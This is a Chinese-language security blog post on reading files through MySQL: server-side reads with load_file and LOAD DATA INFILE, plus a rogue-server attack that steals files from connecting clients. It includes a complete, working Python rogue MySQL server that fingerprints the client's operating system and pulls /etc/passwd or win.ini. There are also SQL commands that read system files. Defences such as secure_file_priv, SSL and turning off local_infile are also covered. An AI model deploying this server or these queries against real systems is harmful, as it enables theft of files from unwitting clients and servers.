MySQL之文件读取
读取服务端文件
读取文件利用方式
- load_file()
select load_file('/etc/passwd')
- load data infile()
利用该函数读文件时需要将文件内容保存至一个表中,在方便查看结果的情况下,一般最好自己创建一个新表来保存查询的结果。
-- 创建存储结果的表
create table result(cmd text);
-- 读取文件内容到表中
load data infile '/etc/passwd' into table result;
select * from result;
这里读文件和select函数需要一起使用才能获取到即时的文件内容,若分两次执行将不会获取到文件内容。通过这样执行sql语句可以保证数据库的表中不会存储任何内容。
防御方式
通过启用MySQL的secure_file_priv
配置即可管理,具体配置有三种:
NULL
:MySQL服务器将禁用导入和导出操作,即无法读取和写入任何文件
空
:值为空代表该项配置无效
目录名
:MySql服务器的导入和导出操作将被限制在配置的目录中
一般默认情况下,该配置在MySQL的默认配置如下
平台 | 默认值 |
---|---|
WIN | >=5.7.16默认值为NULL,<5.7.16则为空 |
DEB, RPM, SLES, SVR4(unix/linux) | /var/lib/mysql-files |
Otherwise(自行编译版本) | 基于CMAKE编译时手动配置参数 |
具体可参考MySQL官网说明sysvar_secure_file_priv | |
secure_file_priv 参数可通过执行如下sql语句查询值: |
show variables like '%secure_file_priv%';
可通过修改my.cnf文件修改该配置:
读取客户端文件
利用方式
MySQL客户端连接到一个服务器时,通过伪造一个MySQL服务器可以通过发送读文件的数据包来读取客户端的文件内容。MySQL官方认为MySQL客户端不应该连接到不受信任的服务器,所以不认为这是一个漏洞,然后从MySQL8.0.21开始将客户端读取文件的的操作限制在一个指定的目录中。
读取文件的流程:
- 伪造的服务器向客户端发送Server greeting包
- 客户端发送登录验证的请求
- 伪造的服务器响应验证成功,等待客户端发送select查询
- 伪造的服务器回复给客户端一个要求读取本地文件的请求
- 客户端发送本地文件内容给伪造的服务器
参考官网的一个流程图:
贴一下自己写的利用源码:
# coding: utf8
import socketserver
import random
dict = {
"linux_filename": "/etc/passwd",
"windows_filename": 'c:/windows/win.ini',
'os_linux': b'\x05\x4c\x69\x6e\x75\x78',
'os_windows': b'\x05\x57\x69\x6e',
"mysql_native_password": b"\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00",
"ok": b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00",
"select": b"\x73\x65\x6c\x65\x63\x74"
}
# 使用多种类型的mysql server指纹
greet = [b'\x4a\x00\x00\x00\x0a\x35\x2e\x37\x2e\x32\x36\x00\x04\x00\x00\x00\x33\x4e\x10\x34\x48\x4b\x2f\x13\x00\xff\xf7\xc0\x02\x00\xff\x81\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4a\x07\x56\x66\x56\x6d\x4f\x5f\x70\x34\x6c\x2a\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
b"\x5b\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x2d\x31\x30\x2e\x33\x2e\x32\x32\x2d\x4d\x61\x72\x69\x61\x44\x42\x2d\x31\x00\x0f\x00\x00\x00\x39\x57\x29\x65\x42\x58\x74\x60\x00\xfe\xf7\x2d\x02\x00\xbf\x81\x15\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x63\x52\x50\x7b\x3a\x4e\x5a\x5a\x33\x2e\x2e\x3a\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"]
class MyTCPHandler(socketserver.BaseRequestHandler):
def handle(self):
try:
# 服务端发送问候
self.request.send(greet[random.randint(0, 1)])
# 客户端发送密码验证
data = self.request.recv(1024)
if dict["mysql_native_password"] in data:
filename = '/etc/passwd'
# 基于数据包自动读取linux文件
if dict['os_linux'] in data:
filename = dict['linux_filename']
# 基于数据包自动读取windows文件
if dict['os_windows'] in data:
filename = dict['windows_filename']
# 发送用户名密码验证成功数据包
self.request.send(dict["ok"])
data = self.request.recv(1024)
# 客户端请求select @@version,发送读取文件请求
if dict["select"] in data:
print('[+]客户端发出select请求,发送读取文件数据包...')
data = chr(len(filename) + 1).encode() + bytes.fromhex('000001fb') + filename.encode()
self.request.send(data)
data = self.request.recv(10240)
print(data[4:].decode())
else:
print("[-]客户端未发出select请求,无法正常请求读取文件!")
except ConnectionResetError:
print("[-]%s断开连接" % self.client_address[0])
except Exception as e:
print(str(e))
finally:
self.request.close()
def setup(self):
print("[+]%s 连接" % self.client_address[0])
def finish(self):
print("[-]%s 断开连接" % self.client_address[0])
if __name__ == "__main__":
host, port = "0.0.0.0", 3306
print("[+]rouge_mysql server is listening at port %s ..." % "".join([host, ":", str(port)]))
try:
server = socketserver.TCPServer((host, port), MyTCPHandler)
server.serve_forever()
except KeyboardInterrupt:
print("[+]rouge_mysql server exit!")
脚本对客户端的系统类型进行了判断,在客户端连接时可自行读取对应的系统文件。
这里复现时使用的客户端版本为MariaDb10.3.23
,相当于MySQL的8.0版本。
由于这里客户端的local_file
参数默认配置为关闭,因此在复现时在客户端使用了如下配置:
一般情况下MySQL5.7及以下的版本都可以读取到文件
若未设置该参数时,读取的结果如下:
设置该参数后,读取的结果如下:
这里只通过MySQL二进制客户端进行了演示,对于其他类型的客户端(云服务、php、jdbc等)的利用分析可以参考文后链接中seebug的文章。
防范方式
- 启用MySQL的SSL配置:由于启用SSL后MySQL的QPS(每秒查询率)将会下降很多,可能对业务会造成比较大的影响,因此对于实际业务量不大的MySQL服务器可以考虑使用SSL。
- 使用默认配置local_file关闭的客户端(升级到新版本或自行编译源码将该参数关闭)或者参考seebug文章中在代码中的修复方式进行修复。